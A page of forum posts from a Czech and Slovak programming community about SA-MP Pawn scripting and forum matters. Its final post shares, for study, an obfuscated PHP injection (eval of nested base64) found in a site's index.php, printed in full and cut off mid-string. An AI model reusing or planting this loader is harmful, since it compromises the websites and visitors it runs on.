ačkoliv má několik uživatelů problém s aktuální situací na fóru, nemají motivaci ho sami zkusit řešit - tedy psát zajímavé topicy. Chápu, že jsme komunita většinou už zralejších programátorů, a jsme zvyklí pracovat za peníze - proč tedy psát články na "umírající" diskuzní fórum zdarma? Ze všeho nejdřív si ujasněme co znamená "umírající" fórum - hodně lidí tento termín v poslední době velmi rádo zneužívá - fórum každý den nasbírá kolem 70 unikátních IP adres, není to kdovíjaký zázrak, ale rozhodně bych to neoznačil jako "umírající" fórum. Vzhledem k tomu, že před rokem to bylo max nějakých 40-50 UIP denně. A proč tedy psát články for free? Nikdo vás samozřejmě nemůže nutit, ale z jaké pozice poté můžete nadávat na ten stav? Není potřeba tu na fóru psát návody na úrovní profíků, kteří jsou za návody placení jak časem, tak marží, ale co vám brání napsat malý článek o tom, jak jste někdy někdo vyřešil zajímavý problém, který nebylo tak snadné vyřešit? V dnešní době knih, kurzů a mentorovaných lekcí snad nikdo ani návody nevyhledává - na druhou stranu, většina nových programátorů vyhledává mentoring a je za něj ochotna i slušně zaplatit. A pár takových článků na fóru pro programátory, by poté mohli sloužit jako celkem slušné demo (hlavně i s těmi pochvalami a aktivní diskuzí ve vláknu) vašich potenciálních služeb Vzpomeňte si (hlavně vy, starší členové), co vás popohánělo před deseti lety, co ve vás budilo to nutkání napsat nějaký topic? Byla to vidina peněz? Pro mě to byla hlavně prestiž a budování image. Díky mým výtvorům jsem dokázal překvapovat a lidé věděli, že se v Pawn vyznám a dokážu v něm vytvořit cokoliv. Nemůžete nad pawno.cz přemýšlet jako o kanálu, do kterého vylíváte svůj čas (z toho vzejde jen toxický materiál) - přemýšlejte o něm jako o investici, která vám přinese kontakty, práci a příležitosti. Vždyť za networking se dnes utrácí i několik tisíc měsíčně - kdežto dobré jméno na programátorském fóru, vás stojí jen trochu víc času (než na tom networkingu) A co se týče prodeje pawno.cz - odmítám veškeré nabídky. Fórum se snažím odkoupit už od dob chytráka, je to moje srdcovka na kterou nedám dopustit. Věřím, že administrátoři @Lucifer Morningstar a @Ewwe to mají stejně tak a společně to fórum povedeme dál a snad domyslíme pořádný koncept, který nás zvedne ze židle a dokážeme oslovit více uživatelů k registraci. Vězte, že celý admin i mod tým dělá svoji práci zadarmo - dělají nevděčnou činnost bez odměny i přesto, že zdejší userpool (o který se starají) nedokáže bez odměny napsat žádný článek. Tak na ně buďte hodní Zaslouží si pochvalu.
    5 points
  27. Ostatných ignoruj, proste ti nevedia poradiť a len zbierajú príspevky (lebo očividne niekto nevie čítať predošlé príspevky a musí 10x písať to isté - spamätajte sa uživatelia). Kukám tvoj kód (ano dá sa to prečítať ale naozaj nabuduce sem skopíruj kód a nie obrázok) a stačí keď si pozrieš ako sa tvoria príkazy a ako sa robí príkaz na spawn vozidla - tj. zistiť pozíciu hráča. Celý kód spočíva v pár jednoduchých krokoch: 1) Vytvor príkaz 2) Zisti pozíciu hráča (GetPlayerPos) 3) Vytvor auto na týchto pozíciach (v podstate tvoj kód, akurát nastav pozície vozidlu) 4) Vlož hráča do auta (PutPlayerInVehicle) // EDIT Sa nedivím že toto fórum ide do hája keď uživatelia iba spamuju... Potom má help 25 príspevkov a žiaden použiteľny, všade len samí hejt že ten nevie písať, ten nevie fotiť ten nevie nič...
    5 points
  28. Ahoj, napadlo mě sem přidat lightweight příspěvky jako jsou uživatelské statusy (tzn. ne klasické topicy ve fóru), které by sloužily jako "agregátor" tech novinek. Příklady (hodně odlehčené): Vyjde nová verze Nette. Zdejší PHP fanboys napíšou krátkou zprávu "Vyšlo nové Nette 4.0, je to pořád trash, umí to x, y a z, rozbila se zpětná kompatibilita. Více info zde". Vyjde nová specifikace ECMAScriptu, napíše se novinka "Vyšla nová specifikace ECMAScriptu, přináší to optional chaining atd. akorát to podporují stejně jen 2 browsery, takže se stejně transpiluje, cool". Výhody: Plno novinek z různých odvětvích, i které by mě nikdy nenapadlo sledovat (PHP). Takové RSSko. Zvýší to aktivitu - s takovýma blbostma asi nebudete spamovat normální topicy. Zvětšení zaměření fóra - zatím se fórum pořád drží pawna a nepřináší nic moc z okolního světa. // EDIT: Samozřejmě na novinky půjde reagovat - můžeme rozjet i nějaké flamewars a tím by se ještě víc zvýšila aktivita
    5 points
  29. Nasiel som tuto velmi zaujimavu sadu includov, kde su zadefinovane vsetky ciselne prvky ako enumy. Pred tym som to este nikde nevidel takto pokope. Napr farba: #define COLOR_LIGHTRED 0xEE9090FF Alebo ikony: #define ICON_SCHOOL 36 Alebo skin: #define SKIN_CJ 0 //Carl "CJ" Johnson (Main Character) Alebo co sa mne velmi pacilo, tak Vehicle Health: #define VEH_HEALTH_FULL 1000 #define VEH_HEALTH_FULL_LOW 650 #define VEH_HEALTH_WHITESMOKE 649 #define VEH_HEALTH_WHITESMOKE_LOW 550 #define VEH_HEALTH_GREYSMOKE 549 #define VEH_HEALTH_GREYSMOKE_LOW 390 #define VEH_HEALTH_BLACKSMOKE 389 #define VEH_HEALTH_BLACKSMOKE_LOW 250 #define VEH_HEALTH_ONFIRE 249 Takze miesto cisla mozete pouzit text, ktory je ludskym okom lepsie citatelny nez nezname cislo, napr. 550. Miesto SetVehicleHealth(vehicleid, 550); mozete pouzit SetVehicleHealth(vehicleid, VEH_HEALTH_WHITESMOKE_LOW); Link na includy: https://github.com/kkmzero/isampp/tree/main/include/i_sampp
    5 points
  30. Jestliže někdo neví o co jde a chtěl by tak zde: Ani netušíš, kolikrát jsem se snažil tohle vysvětlit Ale fórum je dělané právě na tyto možné "agrese" například právě omezením reakci za den. Takže musím dát hold alespoň za to. Nicméně souhlasím, s tím, že tohle už z obyčejného psaní, přeslo místy do mírného útoku(ale pouze místy, a ještě záleží z jaké strany myslíš), ale za mě já už se distancuji, protože nemá cenu vysvětlovat 10x to stálé dokola. Jestliže by měl někdo zájem to vysvětlit, ať to prosím zkusí za mě, děkuji. Ale stále. Je to diskuzní fórum. Takže, tímto způsobem by se to mělo i vést. Diskutovat(v chatu např.) a vysvětlit problém. A pravě v tomto byl problém, kdy to už Num tahal i do jiných příspěvků, viz (https://ctrlv.link/shots/2020/12/14/Jx42.png) Takže na konec, abych jenom neukazoval prstem tak to tady utnu a na další příspěvky od tohoto "uživatele" nebudu reagovat dalším příspěvkem (ani v Chatu). Co se týče reakcí, to je stále stejné. Když to bude oprávněné, dostane ho. Tak tomuhle se nemá ani cenu vyjadřovat... Přecijen ale: Je rozdíl mezi hádáním a pokusem se vysvětlit problém. Jestiže si myslíš, že dva diskutujicí lidé ihned brečí, tak to jsem zvědav, jak vidíš normální diskuzi teda...
    5 points
  31. Zdravíčko přátelé, tak mě zase po delší době potkala milá věc - PHP virus, injektovaný do index.php webové aplikace. Prozatím ještě nevíme, jakým způsobem se útočníkovi povedlo prolámat se dovnitř a vložit do indexu vlastní kód, nicméně jsem alespoň rozlámal "šifrování" tohoto viru a rád bych se s vámi podělil o výsledky k bádání a edukaci Šifrování kódu (jestli se tomu vůbec šifra dá říkat) bylo vskutku velmi jednoduché - několikrát opečený kód v base64_encode, pomocí eval zase rozbalený. Kód byl ovšem psaný na PHP verzi 5.6 a na PHP 7+ není funkční, útočník tedy nespáchal žádnou škodu, kromě několika hodin vypadlého webu, než si někdo všiml že to vlastně nejede. (Hlásil error 500) Celý inject vypadal takto: <?php @set_time_limit(3600); @ignore_user_abort(1); $xmlname = 'mapss281_285_289_291_new.xml'; $dt = 0; $sitemap_file = 'sitemap'; $mapnum = 2000; $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iVFN1SndocnBCdm1uQVZHS0xPY1dOalFpWHlsVUN0Z3NGWkVQWW9EcWFNa0h4emZkZWJSSXhoYXBGWE1UU3lidHV3T25Dek5CQWRLSW9ja1FZamxMVmlEc1BlZm1nR3ZScXJIV1pVRUpzZjlGZ1J1bGZLZXZnYkVUTkl1OUpZTnR6RjBucE9YMFdSU0hXMndJSmYwbHAyWDBXUnV0ekYwbmdCUGVnb0FIZ1JFME5SR2VuaGs3ZktlbHBPWDBXUnVsc2h1dGdSRTBOUkd0ekYwbkhCd0xOMnc3ZktlbHBPWDBXUnVsc2h1dGdSRTBOWU43ZktUOWZLZXZOMjExTmJrSFdPMUZKZjBsTjIxY2lvVjFpb0EwbzN3Y2dobFR6RjBuZ0JQZXBSQWpXb3BUbzNFak5mMDlwY05UWkYwbkpZdWxKWUVyVW93Y2d3OTBVb3U5cGM4dHpGMG5ISzBucFJHbHNodXRQSU5hcDJWcml4UHRDSU4wbzJRdENJV2FQMjl2aWhON2ZLZXZOMjExTmJ2bHNodXZOY2x2TjIxMU5ia0hXTzFGbnhMQVliaTFVYkEwZ0I5YUpSQWpOYndxV0J3cldWOTFOYnZlbm9MQVlJdWxKWVNUaUl1ZWdvQXJpb0tlcFY5eEV3cEJFd3BVcDFwVlF3d1ZRMUVId3dwcHAxMFRub0xBWUl1bEpZdWxKWXVscFJBaldvcFRKZjBscFY5eEV3cEJFd3BVcDFwVlF3d1ZRMUVId3dwcHAxMDdmS2VsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSk9rYm5Pa3JOMncwbllFSFEwd2h3dndoQmNXWE5iVzJwMTBUbm9MQVlJdWxKWXVsSll1bEpZdWxKWUVyVW93Y2dodTlKWUVIUTB3aHd2d2hCY1dLaFZTSFEwd0dFSVdXSlk0bHByOHRKWTRscFY5eEV3cEJFd3BVcDJWY2kzUHRvd0xGb3hMQVlJdWxKWXVsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSll1bEpZdXZOMjExTmJ2bHNodXZvMUFWUWtpVlFrTHRRRFhLbzFBVnhEUHRvaHVhSllOL3BjdWFKWUVIUTB3aHd2d2hCY1dFd1F3aEJ3OXh3VnBweHZOdG94TEFZSXVsSll1bEpZdWxISzBuSll1bEpSMEFZSXVsSllTY2lvRTFOYjRscFJBaldvcFR6RjBuSEswbnBPV3lXMndJSmYwbHAyRTBnT2tjV1J2amlCa3RnUktjQ3RBVGkyaXlaT2l5V0I1dlBvRVRVMjV0Q3RBZVUzdXR6RjBucFJTWE4zQTNVM3B2SmYwbFVCSzFuTzF2QWhYdXBWOVJFd0VVcDNTdnAxMFRueExBWWJrYkpZbHZOT1ZyTjNXeU5iS2xzeDBscHJ3YlBiUHJBYlAyUGRERkFyU1hpQkcyQUJQRkdPQUl6T1FyQUJHNVAyRzBwY3ZsWkYwbkpZdWxKWUVYaU9FSFAyOWFXT3dhV1l1OUpEdXZvMFdWd1ZMdFVCVkZVYlZqaWhXV3pGMG5KWXVsSllFWFAzRVRVMjRsc2hTdXBWOVJFd0VVcDJWZFdPa3lVSVdXekYwbkpZdWxKWUV2VTIxWGdCNGxzaFN1cFY5UkV3RVVwMkV5VUJWVFVJV1d6RjBuSll1bEpPa2JuWUV2VTIxWGdCNFRaRjBuSll1bEpZdWxKWXV2Z085cldZdTlKWUV2VTIxWGdCNDdmS2VsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSllFZVUzQTBKZjBscFY5eEV3cEJFd3BVcDBYUXdWU0hoRDl4d1lXV3pGMG5KWXVsSlIwQVlJdWxKWXV5Q2NFZVUzQTBKZjBscFY5eEV3cEJFd3BVcDBYUXdWU0hoRDl4d1lXV3pGMG5KWXVsSllFRlBvRWVKZjBsaU9rY1ViVmppaFhIbzBpcHhEd0hvY3Y3ZktlbEpZdWxnQlBlcE9WZFdPa3lVZDA5cDNTVFViTnRub0xBWUl1bEpZdWxKWXVsQ2M5ZVdSRUZOcmV5QzNXM1djNXRVMjl0VU9RYVAyOWpDM1NUVWJOL04yazBpQjFYTmYxZVdSRUZOcmV5QzJ3NFBCMUZVT1FhUDI5akMzQVRXT3dqUG91YVpPMUxmS2VsSll1bEpZdWxKT2tiblJBME50QTBOSWx2UEJFdm8yQXlVdEVrVXRLTHBjNTRVQkZ0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWVNUaUlYVE4xOWVXUkVGTmNsVG5vTEFZSXVsSll1bEpZdWxKWXVsSll1bEpZdXZpT1YwUHc5YWlvTmxzaHV0Z1JFME5SRzZDYzkzVzNOYWkyOXlpMnFrQ2JBeVVoOUZnQjV0czNBVFdPd2pQb3U5cGM0dGdSRTBOUkc2Q2M4dENJRWVVM0EwQ0lOeXBjNHZQQkV2bzJBeVV0RWtVdEs3ZktlbEpZdWxKWXVsSll1bEpZUzlpQnFyaW9MQVlJdWxKWXVsSll1bEpZdWxKWXVsSll1dmlPVjBQdzlhaW9ObHNodXRnUkUwTlJHNkNjOTNXM05haTI5eWkycWtDYkF5VWg5RmdCNXRzM0FUV093alBvdTlwYzR0Z1JFME5mZXlDY05hcE9YeU4zS2FwYzh0Q0lFWGlPRUhQMjlhV093YVdmTEFZSXVsSll1bEpZdWxKWXVsSlIwQVlJdWxKWXVsSll1bEpZdWxKWTh5UTJrMGlCMVhOZmVsZ1JFME5mZXlDM1czV2M1dFdCRVhVYldyaUJYWFdZNWRVMjB5VUJWRmdCNXZpb2xhWk8xTGZLZWxKWXVsSll1bEpZdWxKWVNUaUlYcldScFROM0VjblJBalUzdzBpTzhlcE9FWFdPVkhVYnczbmhGdGkyOXlpMnFrcGN2VFpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpPd2RnTzhscHJxSU5kNXlncnFJTmQ0dHpGMG5KWXVsSll1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxpQkFlVWN1dmlPVjBQdzlhaW9OYXBycUlOZDVGZ0I1dEpPaVhVUkFrSnhxSU5kNHR6RjBuSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZUzlpQnFyaW9MQVlJdWxKWXVsSll1bEpZdWxKT3dkZ084bHBycUlOZDVyZ29Fa1VCVkZKTzVYVUJRbGliVkxOMlFYc09wY3NJTjdmS2VsSll1bEpZdWxKUjBBWUl1bEpZdWxKWXVsaW9YVFdmTEFZSXVsSllTOWZLZUFZSXVsSll1dmlia0xpdzlGUG9FZUpmMGxwUlNYV09sYXBjOWNVMnB5V1JHYVdSWDBwckxBWUl1bEpZU1RpSWxYcE9WZFdPa3lVSWs3ZktlbEpZdWxKWXVsSllFWFAzRVRVMjRsc2h1dE5SdzBwckxBWUl1bEpZUzlmS2VsSll1bGdCUGVwT1ZkV09reVVJdTlzaHV0TlJ3MHBjazdmS2VsSll1bEpZdWxKT2tiblJBME50QTBOSWx2UEJFdm8yQXlVdEVrVXRLTHBjNTRVQkZ0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWVNUaUlYYmdCcWtvMnc0Z29BME5jbHZpYmtMaXc5RlBvRWVuaGs3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVscE9FWFdPRGxzaFNyVUI5MVdPRXluWUViZ0Jxa28zU1hXT2xUekYwbkpZdWxKWXVsSll1bEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bHBPRVhXT0Rsc2h1dHdvQWtOSTFYaTJ3YVdmZWxubDBuS0JxTFUzTjZKWTh0ekYwbkpZdWxKWXVsSll1bEpZdWxISzBuSll1bEpZdWxKWXVsSll1bGdCUGVOM0VjTjNFY25ZRXZQb0VYQ1lOeXBjNHZQQkV2bzJBeVV0RWtVdEtUbm9MQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTa1AyWHlKWU44UHRKK04yazBpQjFYTllTWFVScGtQQkU1Sk9WdmlPd3ZKeHFJTmQ0dHpGMG5KWXVsSll1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxnQlBlZ29BSGdSRTBOUkdlbmhrN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWUV2UG9FWG8yNWtXY3U5SlJFY2dCMGVwT0VYV09EVENJcE5Oa3FhSkk0dFEyazBpQjFYTmZlbGdSRTBOUkc2Q2M4dENJRWVVM0EwQ0lOeXBjNHZQQkV2bzJBeVV0RWtVdEs3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSllFdlBvRVhvMjVrV2N1OUpSRWNnQjBlcE9FWFdPRFRDSXBOTmtxYUpJNHRRMmswaUIxWE5mZWxnUkUwTmZleUNjTmFwT1h5TjNLYXBjOHRDSUVYaU9FSFAyOWFXT3dhV2ZMQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpZdWxKWXVsSll1bENjOXhnb0VrVUJWRnpJU2VXUkVGekk4eVczVzNDYlcxaU9WYWkzQWtnT1YwQ2JBeVVoOWpQb1NUVWJFa1pZNTRVQkZBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNUaUlYYmdCcWtvM1MxV1Y5ZFUyNTBpQjUwTmNsdmlia0xpdzlGUG9FZUNZRXZQb0VYbzI1a1djdlRKUkxBWUl1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bGlCQWVVY3V0c09wY3NiOU1zT3Bjc0lON2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpPd2RnTzhscHJxSU5kNWJnQnFrSlJXY2dvRWtKT2lYVVJBa0p4cUlOZDR0ekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSlIwQVlJdWxKWXVsSll1bEpZdWxKUjBBWUl1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSllTa1AyWHlKWU44UHRKK04yazBpQjFYTllTYVBCMWtKT2lYVVJBa0p4cUlOZDR0ekYwbkpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpPa2JKWVhyV1JwcldSSmVwT1Z2aVY5ZFUyNTBpQjUwQ1l1dEN0U2VOWU5UbmhTN2ZLZXBZS3Z2UGh1OUpPMXZBaFhqaWZRZUtZRUhFMHdRQmNXWHAxMFRueExBWWx2cFloRUlKZjBsVUJLMW5PMXZBaFh1cFY5UkV3RVVwMkp0b2h2VHpGMG5ZS3ZwZ0JQZXBPRDlzb0FqVTN3MGlPOGVwMlgwV1J1NkNjOHRDSUV0VTNXa1BJNHRDMkRhTk9YRnBjdmxIUkZscE9KOXNoTmNHQkcwaWZ1ckdCRXZHZHY1R2ZEckF4aVh6eFZJRzJ3YlAyQVhHZkRyR1lOVFpGMG5ZS3ZwWWhFclVvQTBOSXU5SkR1dm8wV1Z3Vkx0TjIxcldSSnRveExBWWx2cFlLa1RpSVhiZ0Jxa28zUzFXVjlkVTI1MGlCNTBOY2x2Tk9WMGdZdWFKWU55cGN1YUpZRVhpT0VIUDI5YVdPd2FXWUZscFJBak4zRWNuaGs3ZktlcFlLdnBZQndkZ084bHAyOU1wckxBWWx2cFlLazlmS2VwWUtrOWZLZWxKWXVsSll1bEpSMEFZSXVsSllTOWZLZWxKWXVsZ0JQZXBPVmRXT2t5VUl1OXNodXRpT3dMcGNrN2ZLZWxKWXVsSll1bEpPa2JuT2lUVU93SGlvWFROM0VybllFYmdCcWtvM1NYV09sVG5vTEFZSXVsSll1bEpZdWxKWXVsSllFdlBvRVhKZjBsTjIxeVdvRXZVY2x2aWJrTGl3OUZQb0VlbnhMQVlJdWxKWXVsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSll1bEpZdXZpT1YwUGh1OUpZTnR6RjBuSll1bEpZdWxKWVM5ZktlbEpZdWxKWXVsSk9rYm5SQTBOdEEwTklsdmlPVjBQaEZ0Q2NOYXBPVnZpVjlkVTI1MGlCNTBuaGs3ZktlbEpZdWxKWXVsSll1bEpZU1RpSVhUTjE5ZVdSRUZOY2xUbm9MQVlJdWxKWXVsSll1bEpZdWxKWXVsSll1dmlPVjBQdzlhaW9ObHNoUzBOYmtqbllFdlBvRVhuaDRJb1JwTlVJSmFwMUFUV093alBvdTZKT1gwV1JTcnpJOHlwYzR2Z085cldZNHRDY05hcE9WdmlWOWRVMjUwaUI1MHpGMG5KWXVsSll1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxwT0VYV09WSFVidzNKZjBsV1JwVFVobHZpT1YwUGh2YUprcWNvTzRJQ0lXeGdvRWtVQlZGeklTZVdSRUZ6STh5cGM0dmdPOXJXWTR0Q2NOYXBPVnZpVjlkVTI1MGlCNTB6RjBuSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZdWxKWXVsZ0JQZWlia0xpdzlGV29FSFAyOWFXT3dhV1JHZXBPaVRVT3dITk9WMGdZRnZpT1YwUHc5YWlvTlRuaFM3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsaUJBZVVjdXRzT3Bjc2I5TXNPcGNzSU43ZktlbEpZdWxKWXVsSll1bEpZUzlpQnFyaW9MQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTa1AyWHlKWU44UHRKK2lia0xpaFMzTmJrMGloU2JQQnFyaWhEOFB0SitwckxBWUl1bEpZdWxKWXVsSll1bEpSMEFZSXVsSll1bEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpZdWxKWVNrUDJYeUpZTjhQdEorTjJrMGlCMVhOWVN2VTJ3ckpPNXlXWVNrWk9rcldZRDhQdEorcHJMQVlJdWxKWXVsSll1bEhLMG5KWXVsSlIwQVlsMG5KWXVsSk93NGdvSzdmS1Q5ZktUYldCNWRXT2t5VUlTVE4xOWVXUkVGTmNsVEpSTEFZSXVsSllTVGlJdWVKWVZrVW9TMFpobHZvMUFWUWtpVlFrTHRoVkVRUVZHdG9odmxwSVBsTjNFY1dPOUxVM1drTklsdm8xQVZRa2lWUWtMdGhWRVFRVkd0b2h2bEp4MDlKWVd5aWJQdG5oUzdmS2VsSll1bEpZdWxKUnBrV1J3Y1VJUzBOdHdrekYwbkpZdWxKUjBsaUJxcmlCa2JKWWxsZ29BcmlvS2VwVjl4RXdwQkV3cFVwMFhRd1ZTSEJWOU94MXBvS3dwREVRRUhRVnBzd0Q4dG9odmxwSVBscFY5eEV3cEJFd3BVcDBYUXdWU0hCVjlPeDFwb0t3cERFUUVIUVZwc3dEOHRvaHU5c3gwbHAyWDBXUlNycGN1VEpSTEFZSXVsSll1bEpZdWxOYncwV29wYUpSRWNXQlE3ZktlbEpZdWxIaFNrVVJBa2dCUGxuWXVYaUIxRldSdmVwVjl4RXdwQkV3cFVwMFhRd1ZTSEVrcHN4a0VIRVE1RG8wWFF3VlN4cDEwVEpZUGJKUkEwTnRFeVVPOTNpb0plcFY5eEV3cEJFd3BVcDBYUXdWU0hFa3BzeGtFSEVRNURvMFhRd1ZTeHAxMFRKWUQ5c2h1dFUyaWJwY3ZsWkYwbkpZdWxKWXVsSllTY2lvRTFOYjRsV1JwMWl4TEFZSXVsSllTOWZLZWxKWXVsTmJ3MFdvcGFKT2lYVVJBa3pGMG5ISzBucFJFa1VvdWxzaFN1cFY5UkV3RVVwM0FqV093ak5ZV1d6RjBucE9rdkpmMGxLWUVIRTB3UUJjV3JVQmt2cDEwN2ZLZXZOMmswaWh1OUpEdXZvMFdWd1ZMdE4yMXJnb0VrcDEwN2ZLZXZOT1Z0aWh1OUpEdXZvMFdWd1ZMdE4yMUZQQldrcDEwN2ZLZXZOMmswaWh1OUpSQTBOazljaW9TTFBCQWtuWU55cGNGdHBjRnZOMmswaWh2N2ZLZXZnTzlyV1l1OUpZRUhRMHdod3Z3aEJjV0p3VkVLbzBYc1ExS3RveExBWUlFZFVPOWRnY3U5SllOdHpGMG5mS2V2V093ak5SV2tQSXU5SkR1dm8wV1Z3Vkx0V093ak5SV2tQSVdXekYwbnBSRWtVb1MzaUJKbHNoU3JXUnBITmJ3RlVPVmRpaGx0Q2NOTHBjTkxwUkVrVW9TM2lCSlR6RjBuZktUVGlJbHZXT3dqTlJXa1BJazdmS2VsSll1bHBSQVRXT1Fsc2h1dldPd2pOUldrUGtMRm9oNHZXT3dqTlJXa1BrTHFvaDR2V093ak5SV2tQa0xjb3hMQVlJdWxKWXV2V093ak5ZdTlKUkExUHRBME5JbHZXT3dqTlJXa1BJRnJueExBWXQwQVlJRUxQQjV0SmYwbHBWOXhFd3BCRXdwVUp2WFF3VlNIS1FBZkV3U1FvMHFTeHZXd0tRV1ZKazA3ZktldlVPVmFpY3U5SllFcm5ZRUxQQjV0bnhMQVlJRXlOY3U5SllFSFEwd2h3dndoQmNXSndWRUtvMXd4RXdwSEtRV1Z4a0t0b3hMQVlJRXlOY3U5SllFcm5ZRXlOY3Y3ZktUVGlJWFROM0FrV1lsdm8xQVZRa2lWUWtMdGhWRVFRVjloRVFpVlF2d2hwMTBUbm9MQVlJdWxKWXV2V29wTE4yWFhVYk5sc2h1dm8xQVZRa2lWUWtMdGhWRVFRVjloRVFpVlF2d2hwMTA3ZktlbEpZdWxwUndjVVJBZVBCNXRKZjBscFJHZXBSd2NVUkFlUEI1dG54TEFZdDFrVVJBa1pGMG5KWXVsSllFMU5icXJnT1ZhaWN1OUpZTnR6RjBuSEswbmZLVFRpSVh0aW9Fa1V0UGVwMXBWeFE5UUV3OVNFREVocGN2bHBJUGxOM0VjUDJWcmlCQWpOWVh0aW9Fa1V0UGVwMXBWeFE5UUV3OVNFREVocGN2TEpZVzFVYmphVTNXYXBjdlRKUkxBWUl1bEpZdXZQMnF5UDJMbHNoU3Rpb0VrVXRQZXAxcFZ4UTlRRXc5U0VERWhwY3Y3ZktUOUpPd0xOMndUaUlYVE4zQWtXWWx2bzFBVlFraVZRa0x0UXZ3QXgxRVZvMFZERVZKdG9odmxwSVBscFY5eEV3cEJFd3BVcDFwVnhROVFFdzlTRURFaHAxMGxwSVBsTjNFY1AyVnJpQkFqTllsdm8xQVZRa2lWUWtMdFF2d0F4MUVWbzBWREVWSnRvaEZscDN3YWcyNXlXMjR0bmh2bFpGMG5KWXVsSllFZFVPOWRnY3U5SllFSFEwd2h3dndoQmNXaEVRMXN3RHdIS1FFRFFJV1d6RjBuSEswbmZLZXZnUkUwTlY5ZFVPOWRnY3U5SllOdHpGMG5nQlBlaTJ3MGlCNTJuWVdKd1ZFS28wQUdoUXd6d1Y5cFFZTlRKWVBiSlJBME5iQVhOMndkVW91ZWkydzBpQjUybllXSndWRUtvMEFHaFF3endWOXBRWU5UQ1l1dFdCNU1VYjkzVUlOVG5oUzdmS2VsSll1bHBPWDBXUlNIUDJxeVAyTGxzaFN0aW9Fa1V0UGVwMFhRd1ZTSEswcXBFUTVRbzBrS3BjdjdmS1Q5Sk93TE4yd1RpSVh0aW9Fa1V0UGVwMFhRd1ZTSEJWOU94MXBvS3dwREVRRUhFdjlocGN2bHBJUGxOM0VjUDJWcmlCQWpOWVh0aW9Fa1V0UGVwMFhRd1ZTSEJWOU94MXBvS3dwREVRRUhFdjlocGN2TEpZVzFVYmphVTNXYXBjdlRKUkxBWUl1bEpZdXZnUkUwTlY5ZFVPOWRnY3U5Sk9Xa1dPd2FXSWx0aFZFUVFWOVBvMGlzUWtXU1F2RVZFVjlPeDFKdG54TEFZdDBBWWwwbmdCUGVOM0VjZ29BME5JbHZQMnF5UDJMTHBjRnRuaGs3ZktlbEpZdWxwT0FMVTJBTW8zRWpOWXU5Sk93NE5PcXlpT1FlSklGSUNZRWRVTzlkZ2N2N2ZLZWxKWXVscE9BTFUyQU1KZjBscE9BTFUyQU1vM0VqTlZMRm94TEFZdDBBWWwwbmdCUGVKQmtyTjJ3MG5ZRXJnb0VrVUJWRm8yaVRVT1FUSlJxOEpEdXZOMmswaUIxWE5WOWJnQnFrc3gwdHBjazdmS2VsSll1bHBSQVRXT3dqUG9TSGlia0xpaHU5SllXcmdvRWtVQlZGcHJMQVl0MEFZYmtibllWVE4zQWtXWWx2VUJWRlV0d2puaFM4SFlTdXBPMVhOTzUxVXgwOXBjTlRaRjBuSll1bEpZRXJnb0VrVUJWRm8yaVRVT1Fsc2h1Y0dmdUZ6RjBuSEswbmZLZUFZYmtiblJTY2lCV0hVQlYwUDJsZXBjOVpwYzRJb1k4SUNJRXJnb0VrVUJWRm8yaVRVT1FhcGNYSEJyRGpBdzBUc2M1NFVCRnZDMnZ0Q1lFclVvd2NndzkwVW91THBSd2NnQlZjTkl2VFpGMG5KWXVsSkRTZWlCVnZpb0plSnZBeVV0RWtVdEtqV1JrRml4ZWxXT3c0V1k5NFVCRklueExBWUl1bEpZU1RpSVhUTjNBa1dZbHZXb3BUUG9wY0JyVlduaGs3ZktlbEpZdWxKWXVsSllFVGlZdTlKUkEwTms5Y2lvU0xQQkFrbllXSHBjRnRwY0Z2V29wVFBvcGNCclZXbnhMQVlJdWxKWVM5aUJxcmlvTEFZSXVsSll1bEpZdWxwT2t2SmYwbEd4dUZ6RjBuSll1bEpSMEFZSXVsSll1dmdvaWpQb1NUaVl1OUpmdTdmS2VsSll1bE4yazBpQjFYTlY5eVdvS2VaazlyZ29Fa1VCVkZuWUV0VTNXa1BJRnZnQktMcE9YeU4zS0xwT0UwQ1lFVFdiMVhOT2t2Q1lFalBvU2FXQjBMcE9YMFdSU0hXMndJb